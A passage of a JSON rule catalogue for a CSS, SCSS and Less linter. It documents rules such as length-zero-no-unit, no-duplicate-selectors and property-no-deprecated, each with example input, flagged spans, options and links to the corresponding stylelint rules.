      "why": "Layer names fix the order of the cascade across a project and its libraries, so a convention keeps them predictable and collisions rare. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a zero length written with a unit (`0px`). Dimensions that are not lengths (`0s`, `0deg`), and anything inside a function, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          8,
          9,
          10,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 11,
            "length": 3,
            "line": 4
          },
          {
            "column": 15,
            "length": 5,
            "line": 4
          },
          {
            "column": 8,
            "length": 3,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "length-zero-no-unit",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "length-zero-no-unit",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/length-zero-no-unit"
        }
      ],
      "why": "Zero is the same in every length unit, so the unit says nothing and costs bytes. Inside `calc()` and the like the unit may be needed, so those are left alone, as are times and angles, where a unit is required.\n\nTo fix, write `0`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@use`, `@forward` or `@import` of a partial with a leading underscore (`@use 'a/_b'`). CSS imports are not reported.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          3,
          4,
          5,
          7,
          9,
          12,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "load-no-partial-leading-underscore",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/load-no-partial-leading-underscore",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/load-no-partial-leading-underscore/README.md"
        }
      ],
      "why": "Sass looks the partial up without the underscore, so the underscore is noise that makes a path look like a different file.\n\nTo fix, write the name without the underscore: `@use 'a/b'`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a rule or at-rule nested inside more rules or at-rules than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          1,
          3,
          7
        ],
        "spans": [
          {
            "column": 16,
            "length": 17,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "max-nesting-depth",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 3,
          "description": "How deep rules may nest.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "max-nesting-depth",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/max-nesting-depth"
        }
      ],
      "why": "Nested rules multiply: three levels of nesting give a selector that is the product of three, with high specificity and tied to the markup. Deep nesting also makes the file hard to read. A limit keeps nesting shallow."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a media feature that is not in the `list` option. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4
        ],
        "spans": [
          {
            "column": 9,
            "length": 9,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "media-feature-name-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed media features: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "media-feature-name-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/media-feature-name-allowed-list"
        }
      ],
      "why": "A project can limit the media features of its queries to the ones its design uses. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a media feature that is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          3,
          5,
          6
        ],
        "spans": [
          {
            "column": 9,
            "length": 9,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "media-feature-name-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed media features: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "media-feature-name-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/media-feature-name-disallowed-list"
        }
      ],
      "why": "A project can forbid media features that its browsers do not support or that its breakpoints replace. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a media feature name in `@media` that is not a CSS one; vendor-prefixed names are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@import \"b.css\";\n\n@import \"c.css\";\na { color: red; }\nb { color: red; }\n\nc { color: red;\n  top: 0; }\nd { color: red;\n  top: 0; }\n/* comment */\ne { color: red; }\n\n/* comment */\n\nf {\n\n  color: red;\n  top: 0;\n\n  left: 0;\n  /* c */\n  right: 0;\n  g { x: y }\n  h { x: y;\n    z: w }\n  @media (a) { top: 0; }\n  bottom: 0;\n}\n@media (a) { top: 0; }\n@media (b) { top: 0; }\n@font-face { font-family: x; }\nx { --a: 1;\n  --b: 2;\n\n  --c: 3;\n  color: red; }\ny {\n  @media (a) { top: 0; }\n  @media (b) { top: 0; }\n}\n",
        "language": "css",
        "other_lines": [
          4,
          10,
          19,
          22,
          26,
          27,
          29,
          33,
          34,
          38,
          39
        ],
        "spans": [
          {
            "column": 11,
            "length": 1,
            "line": 28
          },
          {
            "column": 9,
            "length": 1,
            "line": 31
          },
          {
            "column": 9,
            "length": 1,
            "line": 32
          },
          {
            "column": 11,
            "length": 1,
            "line": 40
          },
          {
            "column": 11,
            "length": 1,
            "line": 41
          }
        ]
      },
      "fix": null,
      "id": "media-feature-name-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "media-feature-name-no-unknown",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/media-feature-name-no-unknown"
        }
      ],
      "why": "An unknown media feature makes the query false, so the block is never applied, and no error tells you.\n\nTo fix, correct the name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a vendor-prefixed `device-pixel-ratio` media feature (`-webkit-min-device-pixel-ratio`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@-webkit-keyframes k { from { color: red } }\n@media (-webkit-min-device-pixel-ratio: 2) {}\na { -webkit-transition: none; -webkit-foo: 1; display: -webkit-flex; background: -webkit-linear-gradient(red, blue) }\na::-moz-selection {}\na:-moz-placeholder, a::-webkit-scrollbar {}\n",
        "language": "css",
        "other_lines": [
          1,
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 9,
            "length": 30,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "media-feature-name-no-vendor-prefix",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "media-feature-name-no-vendor-prefix",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/media-feature-name-no-vendor-prefix"
        }
      ],
      "why": "The standard media feature is `resolution`, and the prefixed names are supported only by old engines. The standard one works in every current browser.\n\nTo fix, use `min-resolution: 2dppx`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a deprecated media type (`tv`, `handheld`, `projection`, ...) in `@media`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@nest a {}\na { word-wrap: break-word; clip: rect(0 0 0 0); -webkit-box-flex: 1; grid-gap: 1px }\n@media tv, only handheld and (color), print {}\ncenter, a:matches(b), a::content, b {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4
        ],
        "spans": [
          {
            "column": 8,
            "length": 2,
            "line": 3
          },
          {
            "column": 17,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "media-type-no-deprecated",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "media-type-no-deprecated",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/media-type-no-deprecated"
        }
      ],
      "why": "Media Queries Level 4 deprecates these types, and browsers match them as never true, so a block that depends on one never applies.\n\nTo fix, use a media feature (`width`, `pointer`) that tells the same thing, or delete the block."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `grid-template-areas` whose rows differ in length, are empty, or hold an area that is not a rectangle.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ":root { --x: 1; --y: 2 }\na { width: calc(--x * 2); transition: --y 1s; margin: var(--x); height: --z }\nb { grid-template-areas: \"a b\" \"a\" }\nc { grid-template-areas: \"a a\" \"b a\" }\nd { grid-template-areas: \"a b\" \"c d\" }\n",
        "language": "css",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 32,
            "length": 3,
            "line": 3
          },
          {
            "column": 26,
            "length": 5,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "named-grid-areas-no-invalid",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "named-grid-areas-no-invalid",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/named-grid-areas-no-invalid"
        }
      ],
      "why": "The browser drops the whole `grid-template-areas` declaration when its table is not a rectangle of named cells, and every item placed by area then falls into an automatic cell.\n\nTo fix, give every row the same number of cells and make each area a rectangle."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a rule whose selector ends in the same compound selector (not counting its pseudo-classes) as an earlier rule in the same at-rule, and has a lower specificity. Nested rules are not compared.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a:hover { color: red }\na { color: blue }\n.b a { color: red }\na { color: green }\n@media print { a { color: red } }\ntd:not([align]) { color: red }\ntable td { color: blue }\na[d] b { color: red }\nc b { color: blue }\np:not(.c) b { color: red }\nb { color: blue }\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 2
          },
          {
            "column": 1,
            "length": 1,
            "line": 4
          },
          {
            "column": 1,
            "length": 8,
            "line": 7
          },
          {
            "column": 1,
            "length": 3,
            "line": 9
          },
          {
            "column": 1,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "no-descending-specificity",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-descending-specificity",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-descending-specificity"
        }
      ],
      "why": "For the same element the rule with higher specificity wins, whatever its place. A later rule with lower specificity (`a:hover` before `a`) never applies to what the earlier one covers, which is almost never what the author meant.\n\nTo fix, move the rule with the lower specificity up, or raise its specificity."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `@import` that repeats an earlier one in the same file (same url, same media list; `'a.css'` and `url(a.css)` are the same url).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@charset \"utf-8\";\n@import \"a.css\";\n@import url(a.css);\n@import \"a.css\" screen;\n@layer base;\n@import \"b.css\";\na { color: red }\n@import \"c.css\";\n",
        "language": "css",
        "other_lines": [
          8
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-at-import-rules",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-duplicate-at-import-rules",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-duplicate-at-import-rules"
        }
      ],
      "why": "The second import is wasted: the browser fetches the file once, and the stylesheet is still parsed twice in some engines. It also hides which of the two position in the cascade is meant.\n\nTo fix, delete the repeat."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a selector list that is already used by an earlier rule in the same block or file; the order of the selectors in the list does not matter (`b, a` repeats `a, b`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: red }\nb, a { color: red }\na, b { color: red }\na { color: blue }\n@media print { a { color: red } }\n@keyframes k { from { top: 0 } FROM { top: 1px } 0% { top: 2px } }\n",
        "language": "css",
        "other_lines": [
          6
        ],
        "spans": [
          {
            "column": 1,
            "length": 4,
            "line": 3
          },
          {
            "column": 1,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-selectors",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-duplicate-selectors",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-duplicate-selectors"
        }
      ],
      "why": "Rules with the same selector are one rule written twice. The declarations end up apart, so a later change to one of them is easy to make in the wrong place, and the cascade between the two is hard to follow.\n\nTo fix, merge the declarations into the first rule."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a file with nothing but whitespace. A file with only comments is not empty.",
      "fix": null,
      "id": "no-empty-source",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-empty-source",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-empty-source"
        }
      ],
      "why": "An empty stylesheet is a mistake: either the content was lost or the file is not needed. A build that imports it then loads a file that does nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call of a Sass global function that a module of the standard library replaces (`map-get` is `map.get`, `mix` is `color.mix`); calls written with their module are not reported.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          4,
          7,
          9,
          12,
          15
        ],
        "spans": [
          {
            "column": 10,
            "length": 7,
            "line": 3
          },
          {
            "column": 30,
            "length": 3,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-global-function-names",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [
            "red=color.red",
            "blue=color.blue",
            "green=color.green",
            "mix=color.mix",
            "hue=color.hue",
            "saturation=color.saturation",
            "lightness=color.lightness",
            "complement=color.complement",
            "adjust-color=color.adjust",
            "scale-color=color.scale",
            "change-color=color.change",
            "ie-hex-str=color.ie-hex-str",
            "map-get=map.get",
            "map-merge=map.merge",
            "map-remove=map.remove",
            "map-keys=map.keys",
            "map-values=map.values",
            "map-has-key=map.has-key",
            "unquote=string.unquote",
            "quote=string.quote",
            "str-length=string.length",
            "str-insert=string.insert",
            "str-index=string.index",
            "str-slice=string.slice",
            "to-upper-case=string.to-upper-case",
            "to-lower-case=string.to-lower-case",
            "unique-id=string.unique-id",
            "percentage=math.percentage",
            "ceil=math.ceil",
            "floor=math.floor",
            "abs=math.abs",
            "random=math.random",
            "unit=math.unit",
            "unitless=math.is-unitless",
            "comparable=math.compatible",
            "length=list.length",
            "nth=list.nth",
            "set-nth=list.set-nth",
            "join=list.join",
            "append=list.append",
            "zip=list.zip",
            "index=list.index",
            "list-separator=list.separator",
            "feature-exists=meta.feature-exists",
            "variable-exists=meta.variable-exists",
            "global-variable-exists=meta.global-variable-exists",
            "function-exists=meta.function-exists",
            "mixin-exists=meta.mixin-exists",
            "inspect=meta.inspect",
            "get-function=meta.get-function",
            "type-of=meta.type-of",
            "call=meta.call",
            "content-exists=meta.content-exists",
            "keywords=meta.keywords",
            "selector-nest=selector.nest",
            "selector-append=selector.append",
            "selector-replace=selector.replace",
            "selector-unify=selector.unify",
            "is-superselector=selector.is-superselector",
            "simple-selectors=selector.simple-selectors",
            "selector-parse=selector.parse",
            "selector-extend=selector.extend",
            "lighten=color.adjust",
            "adjust-hue=color.adjust",
            "darken=color.adjust",
            "desaturate=color.adjust",
            "opacify=color.adjust",
            "transparentize=color.adjust"
          ],
          "description": "`name=replacement` entries: a global function and the module function that replaces it.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/no-global-function-names",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/no-global-function-names/README.md"
        }
      ],
      "why": "Sass deprecates the global functions in favour of modules loaded with `@use`, and drops them in a later major version. A call of a module function says where it comes from and is not changed by a global of the same name.\n\nTo fix, `@use \"sass:map\"` and call `map.get`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a rule or declaration that starts with `//`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: red }\n// note\nb { color: blue }\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-invalid-double-slash-comments",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-invalid-double-slash-comments",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-invalid-double-slash-comments"
        }
      ],
      "why": "CSS has no line comments. The browser reads `// note` as part of the next statement, so the selector or the property name is wrong and the rule or declaration is dropped. The comment seems to work and breaks the line below it.\n\nTo fix, write the comment as `/* note */`. Sass and Less read `//` as a comment, so there it is not reported."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `@import` that comes after a rule that is not `@charset`, `@layer` or another `@import`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a { color: red }\n@import \"a\";\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-invalid-position-at-import-rule",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-invalid-position-at-import-rule",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-invalid-position-at-import-rule"
        }
      ],
      "why": "CSS ignores an `@import` that is not at the top of the stylesheet, so the file it names is never loaded and the styles silently are missing. There is no error in the browser.\n\nTo fix, move the `@import` above every rule, behind `@charset` and `@layer`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a declaration at the top of a file, or in an at-rule such as `@media` that is not inside a rule.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@import \"b.css\";\n\n@import \"c.css\";\na { color: red; }\nb { color: red; }\n\nc { color: red;\n  top: 0; }\nd { color: red;\n  top: 0; }\n/* comment */\ne { color: red; }\n\n/* comment */\n\nf {\n\n  color: red;\n  top: 0;\n\n  left: 0;\n  /* c */\n  right: 0;\n  g { x: y }\n  h { x: y;\n    z: w }\n  @media (a) { top: 0; }\n  bottom: 0;\n}\n@media (a) { top: 0; }\n@media (b) { top: 0; }\n@font-face { font-family: x; }\nx { --a: 1;\n  --b: 2;\n\n  --c: 3;\n  color: red; }\ny {\n  @media (a) { top: 0; }\n  @media (b) { top: 0; }\n}\n",
        "language": "css",
        "other_lines": [
          4,
          10,
          19,
          22,
          26,
          27,
          28,
          29,
          33,
          34,
          38,
          39,
          40,
          41
        ],
        "spans": [
          {
            "column": 14,
            "length": 7,
            "line": 31
          },
          {
            "column": 14,
            "length": 7,
            "line": 32
          }
        ]
      },
      "fix": null,
      "id": "no-invalid-position-declaration",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "no-invalid-position-declaration",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/no-invalid-position-declaration"
        }
      ],
      "why": "CSS has declarations only inside a rule. At the top of a file the declaration is a syntax error and the browser skips it and the text up to the next `}` or `;`, which may take the next rule with it.\n\nTo fix, put the declaration in a rule."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a number with more decimal places than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 13,
            "length": 9,
            "line": 7
          },
          {
            "column": 48,
            "length": 7,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "number-max-precision",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 4,
          "description": "The most decimal places a number may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "number-max-precision",
          "note": "numbers in a Less variable declaration (an at-rule prelude) are not checked, named gap",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/number-max-precision"
        }
      ],
      "why": "Long decimals (`1.23456789px`) are almost always the output of a calculator, and a browser rounds lengths to a fraction of a pixel anyway, so the extra digits only add bytes and noise.\n\nTo fix, round the number to the precision that is needed."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property that is not in the `list` option (names, or `/regex/`). Custom properties are not reported, and an empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 37,
            "length": 5,
            "line": 4
          },
          {
            "column": 74,
            "length": 6,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "property-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed properties: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "property-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/property-allowed-list"
        }
      ],
      "why": "A project can limit the properties its styles use, for example to a design system's set, so a one-off property fails in review rather than later in the browser. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property that is in the `list` option (names, or `/regex/`). Custom properties are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          5,
          6
        ],
        "spans": [
          {
            "column": 7,
            "length": 5,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "property-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed properties: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "property-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/property-disallowed-list"
        }
      ],
      "why": "A project can forbid properties that its browsers or its design system do not support, or that cause layout trouble (`float` in a flex design). The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a deprecated property (`clip`, `word-wrap`, `grid-gap`, the `box-*` properties of the old flexbox, ...).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@nest a {}\na { word-wrap: break-word; clip: rect(0 0 0 0); -webkit-box-flex: 1; grid-gap: 1px }\n@media tv, only handheld and (color), print {}\ncenter, a:matches(b), a::content, b {}\n",
        "language": "css",
        "other_lines": [
          1,
          3,
          4
        ],
        "spans": [
          {
            "column": 5,
            "length": 9,
            "line": 2
          },
          {
            "column": 28,
            "length": 4,
            "line": 2
          },
          {
            "column": 49,
            "length": 16,
            "line": 2
          },
          {
            "column": 70,
            "length": 8,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "property-no-deprecated",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "property-no-deprecated",
          "note": "`-webkit-box-orient` is not reported (stylelint reports it unless the value is `vertical`), and there is no fix.",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/property-no-deprecated"
        }
      ],
